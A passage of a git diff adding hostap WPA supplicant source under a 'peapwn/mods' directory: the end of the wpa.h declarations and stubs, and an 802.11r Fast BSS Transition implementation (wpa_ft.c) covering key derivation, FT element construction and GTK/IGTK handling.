wpa_sm_set_assoc_wpa_ie(struct wpa_sm *sm, const u8 *ie, size_t len); +int wpa_sm_set_assoc_wpa_ie_default(struct wpa_sm *sm, u8 *wpa_ie, + size_t *wpa_ie_len); +int wpa_sm_set_ap_wpa_ie(struct wpa_sm *sm, const u8 *ie, size_t len); +int wpa_sm_set_ap_rsn_ie(struct wpa_sm *sm, const u8 *ie, size_t len); +int wpa_sm_get_mib(struct wpa_sm *sm, char *buf, size_t buflen); + +int wpa_sm_set_param(struct wpa_sm *sm, enum wpa_sm_conf_params param, + unsigned int value); +unsigned int wpa_sm_get_param(struct wpa_sm *sm, + enum wpa_sm_conf_params param); + +int wpa_sm_get_status(struct wpa_sm *sm, char *buf, size_t buflen, + int verbose); +int wpa_sm_pmf_enabled(struct wpa_sm *sm); + +void wpa_sm_key_request(struct wpa_sm *sm, int error, int pairwise); + +int wpa_parse_wpa_ie(const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ie_data *data); + +void wpa_sm_aborted_cached(struct wpa_sm *sm); +int wpa_sm_rx_eapol(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len); +int wpa_sm_parse_own_wpa_ie(struct wpa_sm *sm, struct wpa_ie_data *data); +int wpa_sm_pmksa_cache_list(struct wpa_sm *sm, char *buf, size_t len); +void wpa_sm_drop_sa(struct wpa_sm *sm); +int wpa_sm_has_ptk(struct wpa_sm *sm); + +void wpa_sm_update_replay_ctr(struct wpa_sm *sm, const u8 *replay_ctr); + +void wpa_sm_pmksa_cache_flush(struct wpa_sm *sm, void *network_ctx); + +#else /* CONFIG_NO_WPA */ + +static inline struct wpa_sm * wpa_sm_init(struct wpa_sm_ctx *ctx) +{ + return (struct wpa_sm *) 1; +} + +static inline void wpa_sm_deinit(struct wpa_sm *sm) +{ +} + +static inline void wpa_sm_notify_assoc(struct wpa_sm *sm, const u8 *bssid) +{ +} + +static inline void wpa_sm_notify_disassoc(struct wpa_sm *sm) +{ +} + +static inline void wpa_sm_set_pmk(struct wpa_sm *sm, const u8 *pmk, + size_t pmk_len) +{ +} + +static inline void wpa_sm_set_pmk_from_pmksa(struct wpa_sm *sm) +{ +} + +static inline void wpa_sm_set_fast_reauth(struct wpa_sm *sm, int fast_reauth) +{ +} + +static inline void wpa_sm_set_scard_ctx(struct wpa_sm *sm, void *scard_ctx) +{ +} + +static inline void wpa_sm_set_config(struct wpa_sm *sm, + struct rsn_supp_config *config) +{ +} + +static inline void wpa_sm_set_own_addr(struct wpa_sm *sm, const u8 *addr) +{ +} + +static inline void wpa_sm_set_ifname(struct wpa_sm *sm, const char *ifname, + const char *bridge_ifname) +{ +} + +static inline void wpa_sm_set_eapol(struct wpa_sm *sm, struct eapol_sm *eapol) +{ +} + +static inline int wpa_sm_set_assoc_wpa_ie(struct wpa_sm *sm, const u8 *ie, + size_t len) +{ + return -1; +} + +static inline int wpa_sm_set_assoc_wpa_ie_default(struct wpa_sm *sm, + u8 *wpa_ie, + size_t *wpa_ie_len) +{ + return -1; +} + +static inline int wpa_sm_set_ap_wpa_ie(struct wpa_sm *sm, const u8 *ie, + size_t len) +{ + return -1; +} + +static inline int wpa_sm_set_ap_rsn_ie(struct wpa_sm *sm, const u8 *ie, + size_t len) +{ + return -1; +} + +static inline int wpa_sm_get_mib(struct wpa_sm *sm, char *buf, size_t buflen) +{ + return 0; +} + +static inline int wpa_sm_set_param(struct wpa_sm *sm, + enum wpa_sm_conf_params param, + unsigned int value) +{ + return -1; +} + +static inline unsigned int wpa_sm_get_param(struct wpa_sm *sm, + enum wpa_sm_conf_params param) +{ + return 0; +} + +static inline int wpa_sm_get_status(struct wpa_sm *sm, char *buf, + size_t buflen, int verbose) +{ + return 0; +} + +static inline int wpa_sm_pmf_enabled(struct wpa_sm *sm) +{ + return 0; +} + +static inline void wpa_sm_key_request(struct wpa_sm *sm, int error, + int pairwise) +{ +} + +static inline int wpa_parse_wpa_ie(const u8 *wpa_ie, size_t wpa_ie_len, + struct wpa_ie_data *data) +{ + return -1; +} + +static inline void wpa_sm_aborted_cached(struct wpa_sm *sm) +{ +} + +static inline int wpa_sm_rx_eapol(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + return -1; +} + +static inline int wpa_sm_parse_own_wpa_ie(struct wpa_sm *sm, + struct wpa_ie_data *data) +{ + return -1; +} + +static inline int wpa_sm_pmksa_cache_list(struct wpa_sm *sm, char *buf, + size_t len) +{ + return -1; +} + +static inline void wpa_sm_drop_sa(struct wpa_sm *sm) +{ +} + +static inline int wpa_sm_has_ptk(struct wpa_sm *sm) +{ + return 0; +} + +static inline void wpa_sm_update_replay_ctr(struct wpa_sm *sm, + const u8 *replay_ctr) +{ +} + +static inline void wpa_sm_pmksa_cache_flush(struct wpa_sm *sm, + void *network_ctx) +{ +} + +#endif /* CONFIG_NO_WPA */ + +#ifdef CONFIG_PEERKEY +int wpa_sm_stkstart(struct wpa_sm *sm, const u8 *peer); +#else /* CONFIG_PEERKEY */ +static inline int wpa_sm_stkstart(struct wpa_sm *sm, const u8 *peer) +{ + return -1; +} +#endif /* CONFIG_PEERKEY */ + +#ifdef CONFIG_IEEE80211R + +int wpa_sm_set_ft_params(struct wpa_sm *sm, const u8 *ies, size_t ies_len); +int wpa_ft_prepare_auth_request(struct wpa_sm *sm, const u8 *mdie); +int wpa_ft_process_response(struct wpa_sm *sm, const u8 *ies, size_t ies_len, + int ft_action, const u8 *target_ap, + const u8 *ric_ies, size_t ric_ies_len); +int wpa_ft_is_completed(struct wpa_sm *sm); +void wpa_reset_ft_completed(struct wpa_sm *sm); +int wpa_ft_validate_reassoc_resp(struct wpa_sm *sm, const u8 *ies, + size_t ies_len, const u8 *src_addr); +int wpa_ft_start_over_ds(struct wpa_sm *sm, const u8 *target_ap, + const u8 *mdie); + +#else /* CONFIG_IEEE80211R */ + +static inline int +wpa_sm_set_ft_params(struct wpa_sm *sm, const u8 *ies, size_t ies_len) +{ + return 0; +} + +static inline int wpa_ft_prepare_auth_request(struct wpa_sm *sm, + const u8 *mdie) +{ + return 0; +} + +static inline int +wpa_ft_process_response(struct wpa_sm *sm, const u8 *ies, size_t ies_len, + int ft_action, const u8 *target_ap) +{ + return 0; +} + +static inline int wpa_ft_is_completed(struct wpa_sm *sm) +{ + return 0; +} + +static inline void wpa_reset_ft_completed(struct wpa_sm *sm) +{ +} + +static inline int +wpa_ft_validate_reassoc_resp(struct wpa_sm *sm, const u8 *ies, size_t ies_len, + const u8 *src_addr) +{ + return -1; +} + +#endif /* CONFIG_IEEE80211R */ + + +/* tdls.c */ +void wpa_tdls_ap_ies(struct wpa_sm *sm, const u8 *ies, size_t len); +void wpa_tdls_assoc_resp_ies(struct wpa_sm *sm, const u8 *ies, size_t len); +int wpa_tdls_start(struct wpa_sm *sm, const u8 *addr); +void wpa_tdls_remove(struct wpa_sm *sm, const u8 *addr); +int wpa_tdls_send_teardown(struct wpa_sm *sm, const u8 *addr, u16 reason_code); +int wpa_tdls_teardown_link(struct wpa_sm *sm, const u8 *addr, u16 reason_code); +int wpa_tdls_send_discovery_request(struct wpa_sm *sm, const u8 *addr); +int wpa_tdls_init(struct wpa_sm *sm); +void wpa_tdls_teardown_peers(struct wpa_sm *sm); +void wpa_tdls_deinit(struct wpa_sm *sm); +void wpa_tdls_enable(struct wpa_sm *sm, int enabled); +void wpa_tdls_disable_link(struct wpa_sm *sm, const u8 *addr); +const char * wpa_tdls_get_link_status(struct wpa_sm *sm, const u8 *addr); +int wpa_tdls_is_external_setup(struct wpa_sm *sm); + +int wpa_wnmsleep_install_key(struct wpa_sm *sm, u8 subelem_id, u8 *buf); + +#endif /* WPA_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa_ft.c b/peapwn/mods/hostap/src/rsn_supp/wpa_ft.c new file mode 100644 index 000000000..3a40c96f2 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa_ft.c @@ -0,0 +1,849 @@ +/* + * WPA Supplicant - IEEE 802.11r - Fast BSS Transition + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/random.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "wpa.h" +#include "wpa_i.h" + +#ifdef CONFIG_IEEE80211R + +int wpa_derive_ptk_ft(struct wpa_sm *sm, const unsigned char *src_addr, + const struct wpa_eapol_key *key, + struct wpa_ptk *ptk, size_t ptk_len) +{ + u8 ptk_name[WPA_PMK_NAME_LEN]; + const u8 *anonce = key->key_nonce; + + if (sm->xxkey_len == 0) { + wpa_printf(MSG_DEBUG, "FT: XXKey not available for key " + "derivation"); + return -1; + } + + wpa_derive_pmk_r0(sm->xxkey, sm->xxkey_len, sm->ssid, + sm->ssid_len, sm->mobility_domain, + sm->r0kh_id, sm->r0kh_id_len, sm->own_addr, + sm->pmk_r0, sm->pmk_r0_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R0", sm->pmk_r0, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR0Name", + sm->pmk_r0_name, WPA_PMK_NAME_LEN); + wpa_derive_pmk_r1(sm->pmk_r0, sm->pmk_r0_name, sm->r1kh_id, + sm->own_addr, sm->pmk_r1, sm->pmk_r1_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", sm->pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", sm->pmk_r1_name, + WPA_PMK_NAME_LEN); + wpa_pmk_r1_to_ptk(sm->pmk_r1, sm->snonce, anonce, sm->own_addr, + sm->bssid, sm->pmk_r1_name, + (u8 *) ptk, ptk_len, ptk_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PTK", (u8 *) ptk, ptk_len); + wpa_hexdump(MSG_DEBUG, "FT: PTKName", ptk_name, WPA_PMK_NAME_LEN); + + return 0; +} + + +/** + * wpa_sm_set_ft_params - Set FT (IEEE 802.11r) parameters + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @ies: Association Response IEs or %NULL to clear FT parameters + * @ies_len: Length of ies buffer in octets + * Returns: 0 on success, -1 on failure + */ +int wpa_sm_set_ft_params(struct wpa_sm *sm, const u8 *ies, size_t ies_len) +{ + struct wpa_ft_ies ft; + + if (sm == NULL) + return 0; + + if (wpa_ft_parse_ies(ies, ies_len, &ft) < 0) + return -1; + + if (ft.mdie && ft.mdie_len < MOBILITY_DOMAIN_ID_LEN + 1) + return -1; + + if (ft.mdie) { + wpa_hexdump(MSG_DEBUG, "FT: Mobility domain", + ft.mdie, MOBILITY_DOMAIN_ID_LEN); + os_memcpy(sm->mobility_domain, ft.mdie, + MOBILITY_DOMAIN_ID_LEN); + sm->mdie_ft_capab = ft.mdie[MOBILITY_DOMAIN_ID_LEN]; + wpa_printf(MSG_DEBUG, "FT: Capability and Policy: 0x%02x", + sm->mdie_ft_capab); + } else + os_memset(sm->mobility_domain, 0, MOBILITY_DOMAIN_ID_LEN); + + if (ft.r0kh_id) { + wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID", + ft.r0kh_id, ft.r0kh_id_len); + os_memcpy(sm->r0kh_id, ft.r0kh_id, ft.r0kh_id_len); + sm->r0kh_id_len = ft.r0kh_id_len; + } else { + /* FIX: When should R0KH-ID be cleared? We need to keep the + * old R0KH-ID in order to be able to use this during FT. */ + /* + * os_memset(sm->r0kh_id, 0, FT_R0KH_ID_LEN); + * sm->r0kh_id_len = 0; + */ + } + + if (ft.r1kh_id) { + wpa_hexdump(MSG_DEBUG, "FT: R1KH-ID", + ft.r1kh_id, FT_R1KH_ID_LEN); + os_memcpy(sm->r1kh_id, ft.r1kh_id, FT_R1KH_ID_LEN); + } else + os_memset(sm->r1kh_id, 0, FT_R1KH_ID_LEN); + + os_free(sm->assoc_resp_ies); + sm->assoc_resp_ies = os_malloc(ft.mdie_len + 2 + ft.ftie_len + 2); + if (sm->assoc_resp_ies) { + u8 *pos = sm->assoc_resp_ies; + if (ft.mdie) { + os_memcpy(pos, ft.mdie - 2, ft.mdie_len + 2); + pos += ft.mdie_len + 2; + } + if (ft.ftie) { + os_memcpy(pos, ft.ftie - 2, ft.ftie_len + 2); + pos += ft.ftie_len + 2; + } + sm->assoc_resp_ies_len = pos - sm->assoc_resp_ies; + wpa_hexdump(MSG_DEBUG, "FT: Stored MDIE and FTIE from " + "(Re)Association Response", + sm->assoc_resp_ies, sm->assoc_resp_ies_len); + } + + return 0; +} + + +/** + * wpa_ft_gen_req_ies - Generate FT (IEEE 802.11r) IEs for Auth/ReAssoc Request + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @len: Buffer for returning the length of the IEs + * @anonce: ANonce or %NULL if not yet available + * @pmk_name: PMKR0Name or PMKR1Name to be added into the RSN IE PMKID List + * @kck: 128-bit KCK for MIC or %NULL if no MIC is used + * @target_ap: Target AP address + * @ric_ies: Optional IE(s), e.g., WMM TSPEC(s), for RIC-Request or %NULL + * @ric_ies_len: Length of ric_ies buffer in octets + * @ap_mdie: Mobility Domain IE from the target AP + * Returns: Pointer to buffer with IEs or %NULL on failure + * + * Caller is responsible for freeing the returned buffer with os_free(); + */ +static u8 * wpa_ft_gen_req_ies(struct wpa_sm *sm, size_t *len, + const u8 *anonce, const u8 *pmk_name, + const u8 *kck, const u8 *target_ap, + const u8 *ric_ies, size_t ric_ies_len, + const u8 *ap_mdie) +{ + size_t buf_len; + u8 *buf, *pos, *ftie_len, *ftie_pos; + struct rsn_mdie *mdie; + struct rsn_ftie *ftie; + struct rsn_ie_hdr *rsnie; + u16 capab; + + sm->ft_completed = 0; + + buf_len = 2 + sizeof(struct rsn_mdie) + 2 + sizeof(struct rsn_ftie) + + 2 + sm->r0kh_id_len + ric_ies_len + 100; + buf = os_zalloc(buf_len); + if (buf == NULL) + return NULL; + pos = buf; + + /* RSNIE[PMKR0Name/PMKR1Name] */ + rsnie = (struct rsn_ie_hdr *) pos; + rsnie->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(rsnie->version, RSN_VERSION); + pos = (u8 *) (rsnie + 1); + + /* Group Suite Selector */ + if (sm->group_cipher != WPA_CIPHER_CCMP && + sm->group_cipher != WPA_CIPHER_GCMP && + sm->group_cipher != WPA_CIPHER_TKIP) { + wpa_printf(MSG_WARNING, "FT: Invalid group cipher (%d)", + sm->group_cipher); + os_free(buf); + return NULL; + } + RSN_SELECTOR_PUT(pos, wpa_cipher_to_suite(WPA_PROTO_RSN, + sm->group_cipher)); + pos += RSN_SELECTOR_LEN; + + /* Pairwise Suite Count */ + WPA_PUT_LE16(pos, 1); + pos += 2; + + /* Pairwise Suite List */ + if (!wpa_cipher_valid_pairwise(sm->pairwise_cipher)) { + wpa_printf(MSG_WARNING, "FT: Invalid pairwise cipher (%d)", + sm->pairwise_cipher); + os_free(buf); + return NULL; + } + RSN_SELECTOR_PUT(pos, wpa_cipher_to_suite(WPA_PROTO_RSN, + sm->pairwise_cipher)); + pos += RSN_SELECTOR_LEN; + + /* Authenticated Key Management Suite Count */ + WPA_PUT_LE16(pos, 1); + pos += 2; + + /* Authenticated Key Management Suite List */ + if (sm->key_mgmt == WPA_KEY_MGMT_FT_IEEE8021X) + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_802_1X); + else if (sm->key_mgmt == WPA_KEY_MGMT_FT_PSK) + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_FT_PSK); + else { + wpa_printf(MSG_WARNING, "FT: Invalid key management type (%d)", + sm->key_mgmt); + os_free(buf); + return NULL; + } + pos += RSN_SELECTOR_LEN; + + /* RSN Capabilities */ + capab = 0; +#ifdef CONFIG_IEEE80211W + if (sm->mgmt_group_cipher == WPA_CIPHER_AES_128_CMAC) + capab |= WPA_CAPABILITY_MFPC; +#endif /* CONFIG_IEEE80211W */ + WPA_PUT_LE16(pos, capab); + pos += 2; + + /* PMKID Count */ + WPA_PUT_LE16(pos, 1); + pos += 2; + + /* PMKID List [PMKR0Name/PMKR1Name] */ + os_memcpy(pos, pmk_name, WPA_PMK_NAME_LEN); + pos += WPA_PMK_NAME_LEN; + +#ifdef CONFIG_IEEE80211W + if (sm->mgmt_group_cipher == WPA_CIPHER_AES_128_CMAC) { + /* Management Group Cipher Suite */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_AES_128_CMAC); + pos += RSN_SELECTOR_LEN; + } +#endif /* CONFIG_IEEE80211W */ + + rsnie->len = (pos - (u8 *) rsnie) - 2; + + /* MDIE */ + *pos++ = WLAN_EID_MOBILITY_DOMAIN; + *pos++ = sizeof(*mdie); + mdie = (struct rsn_mdie *) pos; + pos += sizeof(*mdie); + os_memcpy(mdie->mobility_domain, sm->mobility_domain, + MOBILITY_DOMAIN_ID_LEN); + mdie->ft_capab = ap_mdie && ap_mdie[1] >= 3 ? ap_mdie[4] : + sm->mdie_ft_capab; + + /* FTIE[SNonce, [R1KH-ID,] R0KH-ID ] */ + ftie_pos = pos; + *pos++ = WLAN_EID_FAST_BSS_TRANSITION; + ftie_len = pos++; + ftie = (struct rsn_ftie *) pos; + pos += sizeof(*ftie); + os_memcpy(ftie->snonce, sm->snonce, WPA_NONCE_LEN); + if (anonce) + os_memcpy(ftie->anonce, anonce, WPA_NONCE_LEN); + if (kck) { + /* R1KH-ID sub-element in third FT message */ + *pos++ = FTIE_SUBELEM_R1KH_ID; + *pos++ = FT_R1KH_ID_LEN; + os_memcpy(pos, sm->r1kh_id, FT_R1KH_ID_LEN); + pos += FT_R1KH_ID_LEN; + } + /* R0KH-ID sub-element */ + *pos++ = FTIE_SUBELEM_R0KH_ID; + *pos++ = sm->r0kh_id_len; + os_memcpy(pos, sm->r0kh_id, sm->r0kh_id_len); + pos += sm->r0kh_id_len; + *ftie_len = pos - ftie_len - 1; + + if (ric_ies) { + /* RIC Request */ + os_memcpy(pos, ric_ies, ric_ies_len); + pos += ric_ies_len; + } + + if (kck) { + /* + * IEEE Std 802.11r-2008, 11A.8.4 + * MIC shall be calculated over: + * non-AP STA MAC address + * Target AP MAC address + * Transaction seq number (5 for ReassocReq, 3 otherwise) + * RSN IE + * MDIE + * FTIE (with MIC field set to 0) + * RIC-Request (if present) + */ + /* Information element count */ + ftie->mic_control[1] = 3 + ieee802_11_ie_count(ric_ies, + ric_ies_len); + if (wpa_ft_mic(kck, sm->own_addr, target_ap, 5, + ((u8 *) mdie) - 2, 2 + sizeof(*mdie), + ftie_pos, 2 + *ftie_len, + (u8 *) rsnie, 2 + rsnie->len, ric_ies, + ric_ies_len, ftie->mic) < 0) { + wpa_printf(MSG_INFO, "FT: Failed to calculate MIC"); + os_free(buf); + return NULL; + } + } + + *len = pos - buf; + + return buf; +} + + +static int wpa_ft_install_ptk(struct wpa_sm *sm, const u8 *bssid) +{ + int keylen; + enum wpa_alg alg; + u8 null_rsc[6] = { 0, 0, 0, 0, 0, 0 }; + + wpa_printf(MSG_DEBUG, "FT: Installing PTK to the driver."); + + if (!wpa_cipher_valid_pairwise(sm->pairwise_cipher)) { + wpa_printf(MSG_WARNING, "FT: Unsupported pairwise cipher %d", + sm->pairwise_cipher); + return -1; + } + + alg = wpa_cipher_to_alg(sm->pairwise_cipher); + keylen = wpa_cipher_key_len(sm->pairwise_cipher); + + if (wpa_sm_set_key(sm, alg, bssid, 0, 1, null_rsc, + sizeof(null_rsc), (u8 *) sm->ptk.tk1, keylen) < 0) { + wpa_printf(MSG_WARNING, "FT: Failed to set PTK to the driver"); + return -1; + } + + return 0; +} + + +/** + * wpa_ft_prepare_auth_request - Generate over-the-air auth request + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @mdie: Target AP MDIE + * Returns: 0 on success, -1 on failure + */ +int wpa_ft_prepare_auth_request(struct wpa_sm *sm, const u8 *mdie) +{ + u8 *ft_ies; + size_t ft_ies_len; + + /* Generate a new SNonce */ + if (random_get_bytes(sm->snonce, WPA_NONCE_LEN)) { + wpa_printf(MSG_INFO, "FT: Failed to generate a new SNonce"); + return -1; + } + + ft_ies = wpa_ft_gen_req_ies(sm, &ft_ies_len, NULL, sm->pmk_r0_name, + NULL, sm->bssid, NULL, 0, mdie); + if (ft_ies) { + wpa_sm_update_ft_ies(sm, sm->mobility_domain, + ft_ies, ft_ies_len); + os_free(ft_ies); + } + + return 0; +} + + +int wpa_ft_process_response(struct wpa_sm *sm, const u8 *ies, size_t ies_len, + int ft_action, const u8 *target_ap, + const u8 *ric_ies, size_t ric_ies_len) +{ + u8 *ft_ies; + size_t ft_ies_len, ptk_len; + struct wpa_ft_ies parse; + struct rsn_mdie *mdie; + struct rsn_ftie *ftie; + u8 ptk_name[WPA_PMK_NAME_LEN]; + int ret; + const u8 *bssid; + + wpa_hexdump(MSG_DEBUG, "FT: Response IEs", ies, ies_len); + wpa_hexdump(MSG_DEBUG, "FT: RIC IEs", ric_ies, ric_ies_len); + + if (ft_action) { + if (!sm->over_the_ds_in_progress) { + wpa_printf(MSG_DEBUG, "FT: No over-the-DS in progress " + "- drop FT Action Response"); + return -1; + } + + if (os_memcmp(target_ap, sm->target_ap, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: No over-the-DS in progress " + "with this Target AP - drop FT Action " + "Response"); + return -1; + } + } + + if (sm->key_mgmt != WPA_KEY_MGMT_FT_IEEE8021X && + sm->key_mgmt != WPA_KEY_MGMT_FT_PSK) { + wpa_printf(MSG_DEBUG, "FT: Reject FT IEs since FT is not " + "enabled for this connection"); + return -1; + } + + if (wpa_ft_parse_ies(ies, ies_len, &parse) < 0) { + wpa_printf(MSG_DEBUG, "FT: Failed to parse IEs"); + return -1; + } + + mdie = (struct rsn_mdie *) parse.mdie; + if (mdie == NULL || parse.mdie_len < sizeof(*mdie) || + os_memcmp(mdie->mobility_domain, sm->mobility_domain, + MOBILITY_DOMAIN_ID_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: Invalid MDIE"); + return -1; + } + + ftie = (struct rsn_ftie *) parse.ftie; + if (ftie == NULL || parse.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_DEBUG, "FT: Invalid FTIE"); + return -1; + } + + if (os_memcmp(ftie->snonce, sm->snonce, WPA_NONCE_LEN) != 0) { + wpa_printf(MSG_DEBUG, "FT: SNonce mismatch in FTIE"); + wpa_hexdump(MSG_DEBUG, "FT: Received SNonce", + ftie->snonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: Expected SNonce", + sm->snonce, WPA_NONCE_LEN); + return -1; + } + + if (parse.r0kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R0KH-ID subelem in FTIE"); + return -1; + } + + if (parse.r0kh_id_len != sm->r0kh_id_len || + os_memcmp(parse.r0kh_id, sm->r0kh_id, parse.r0kh_id_len) != 0) { + wpa_printf(MSG_DEBUG, "FT: R0KH-ID in FTIE did not match with " + "the current R0KH-ID"); + wpa_hexdump(MSG_DEBUG, "FT: R0KH-ID in FTIE", + parse.r0kh_id, parse.r0kh_id_len); + wpa_hexdump(MSG_DEBUG, "FT: The current R0KH-ID", + sm->r0kh_id, sm->r0kh_id_len); + return -1; + } + + if (parse.r1kh_id == NULL) { + wpa_printf(MSG_DEBUG, "FT: No R1KH-ID subelem in FTIE"); + return -1; + } + + if (parse.rsn_pmkid == NULL || + os_memcmp(parse.rsn_pmkid, sm->pmk_r0_name, WPA_PMK_NAME_LEN)) { + wpa_printf(MSG_DEBUG, "FT: No matching PMKR0Name (PMKID) in " + "RSNIE"); + return -1; + } + + os_memcpy(sm->r1kh_id, parse.r1kh_id, FT_R1KH_ID_LEN); + wpa_hexdump(MSG_DEBUG, "FT: R1KH-ID", sm->r1kh_id, FT_R1KH_ID_LEN); + wpa_hexdump(MSG_DEBUG, "FT: SNonce", sm->snonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "FT: ANonce", ftie->anonce, WPA_NONCE_LEN); + os_memcpy(sm->anonce, ftie->anonce, WPA_NONCE_LEN); + wpa_derive_pmk_r1(sm->pmk_r0, sm->pmk_r0_name, sm->r1kh_id, + sm->own_addr, sm->pmk_r1, sm->pmk_r1_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PMK-R1", sm->pmk_r1, PMK_LEN); + wpa_hexdump(MSG_DEBUG, "FT: PMKR1Name", + sm->pmk_r1_name, WPA_PMK_NAME_LEN); + + bssid = target_ap; + ptk_len = sm->pairwise_cipher != WPA_CIPHER_TKIP ? 48 : 64; + wpa_pmk_r1_to_ptk(sm->pmk_r1, sm->snonce, ftie->anonce, sm->own_addr, + bssid, sm->pmk_r1_name, + (u8 *) &sm->ptk, ptk_len, ptk_name); + wpa_hexdump_key(MSG_DEBUG, "FT: PTK", + (u8 *) &sm->ptk, ptk_len); + wpa_hexdump(MSG_DEBUG, "FT: PTKName", ptk_name, WPA_PMK_NAME_LEN); + + ft_ies = wpa_ft_gen_req_ies(sm, &ft_ies_len, ftie->anonce, + sm->pmk_r1_name, sm->ptk.kck, bssid, + ric_ies, ric_ies_len, + parse.mdie ? parse.mdie - 2 : NULL); + if (ft_ies) { + wpa_sm_update_ft_ies(sm, sm->mobility_domain, + ft_ies, ft_ies_len); + os_free(ft_ies); + } + + wpa_sm_mark_authenticated(sm, bssid); + ret = wpa_ft_install_ptk(sm, bssid); + if (ret) { + /* + * Some drivers do not support key configuration when we are + * not associated with the target AP. Work around this by + * trying again after the following reassociation gets + * completed. + */ + wpa_printf(MSG_DEBUG, "FT: Failed to set PTK prior to " + "association - try again after reassociation"); + sm->set_ptk_after_assoc = 1; + } else + sm->set_ptk_after_assoc = 0; + + sm->ft_completed = 1; + if (ft_action) { + /* + * The caller is expected trigger re-association with the + * Target AP. + */ + os_memcpy(sm->bssid, target_ap, ETH_ALEN); + } + + return 0; +} + + +int wpa_ft_is_completed(struct wpa_sm *sm) +{ + if (sm == NULL) + return 0; + + if (sm->key_mgmt != WPA_KEY_MGMT_FT_IEEE8021X && + sm->key_mgmt != WPA_KEY_MGMT_FT_PSK) + return 0; + + return sm->ft_completed; +} + + +void wpa_reset_ft_completed(struct wpa_sm *sm) +{ + if (sm != NULL) + sm->ft_completed = 0; +} + + +static int wpa_ft_process_gtk_subelem(struct wpa_sm *sm, const u8 *gtk_elem, + size_t gtk_elem_len) +{ + u8 gtk[32]; + int keyidx; + enum wpa_alg alg; + size_t gtk_len, keylen, rsc_len; + + if (gtk_elem == NULL) { + wpa_printf(MSG_DEBUG, "FT: No GTK included in FTIE"); + return 0; + } + + wpa_hexdump_key(MSG_DEBUG, "FT: Received GTK in Reassoc Resp", + gtk_elem, gtk_elem_len); + + if (gtk_elem_len < 11 + 24 || (gtk_elem_len - 11) % 8 || + gtk_elem_len - 19 > sizeof(gtk)) { + wpa_printf(MSG_DEBUG, "FT: Invalid GTK sub-elem " + "length %lu", (unsigned long) gtk_elem_len); + return -1; + } + gtk_len = gtk_elem_len - 19; + if (aes_unwrap(sm->ptk.kek, gtk_len / 8, gtk_elem + 11, gtk)) { + wpa_printf(MSG_WARNING, "FT: AES unwrap failed - could not " + "decrypt GTK"); + return -1; + } + + keylen = wpa_cipher_key_len(sm->group_cipher); + rsc_len = wpa_cipher_rsc_len(sm->group_cipher); + alg = wpa_cipher_to_alg(sm->group_cipher); + if (alg == WPA_ALG_NONE) { + wpa_printf(MSG_WARNING, "WPA: Unsupported Group Cipher %d", + sm->group_cipher); + return -1; + } + + if (gtk_len < keylen) { + wpa_printf(MSG_DEBUG, "FT: Too short GTK in FTIE"); + return -1; + } + + /* Key Info[2] | Key Length[1] | RSC[8] | Key[5..32]. */ + + keyidx = WPA_GET_LE16(gtk_elem) & 0x03; + + if (gtk_elem[2] != keylen) { + wpa_printf(MSG_DEBUG, "FT: GTK length mismatch: received %d " + "negotiated %lu", + gtk_elem[2], (unsigned long) keylen); + return -1; + } + + wpa_hexdump_key(MSG_DEBUG, "FT: GTK from Reassoc Resp", gtk, keylen); + if (sm->group_cipher == WPA_CIPHER_TKIP) { + /* Swap Tx/Rx keys for Michael MIC */ + u8 tmp[8]; + os_memcpy(tmp, gtk + 16, 8); + os_memcpy(gtk + 16, gtk + 24, 8); + os_memcpy(gtk + 24, tmp, 8); + } + if (wpa_sm_set_key(sm, alg, broadcast_ether_addr, keyidx, 0, + gtk_elem + 3, rsc_len, gtk, keylen) < 0) { + wpa_printf(MSG_WARNING, "WPA: Failed to set GTK to the " + "driver."); + return -1; + } + + return 0; +} + + +#ifdef CONFIG_IEEE80211W +static int wpa_ft_process_igtk_subelem(struct wpa_sm *sm, const u8 *igtk_elem, + size_t igtk_elem_len) +{ + u8 igtk[WPA_IGTK_LEN]; + u16 keyidx; + + if (sm->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) + return 0; + + if (igtk_elem == NULL) { + wpa_printf(MSG_DEBUG, "FT: No IGTK included in FTIE"); + return 0; + } + + wpa_hexdump_key(MSG_DEBUG, "FT: Received IGTK in Reassoc Resp", + igtk_elem, igtk_elem_len); + + if (igtk_elem_len != 2 + 6 + 1 + WPA_IGTK_LEN + 8) { + wpa_printf(MSG_DEBUG, "FT: Invalid IGTK sub-elem " + "length %lu", (unsigned long) igtk_elem_len); + return -1; + } + if (igtk_elem[8] != WPA_IGTK_LEN) { + wpa_printf(MSG_DEBUG, "FT: Invalid IGTK sub-elem Key Length " + "%d", igtk_elem[8]); + return -1; + } + + if (aes_unwrap(sm->ptk.kek, WPA_IGTK_LEN / 8, igtk_elem + 9, igtk)) { + wpa_printf(MSG_WARNING, "FT: AES unwrap failed - could not " + "decrypt IGTK"); + return -1; + } + + /* KeyID[2] | IPN[6] 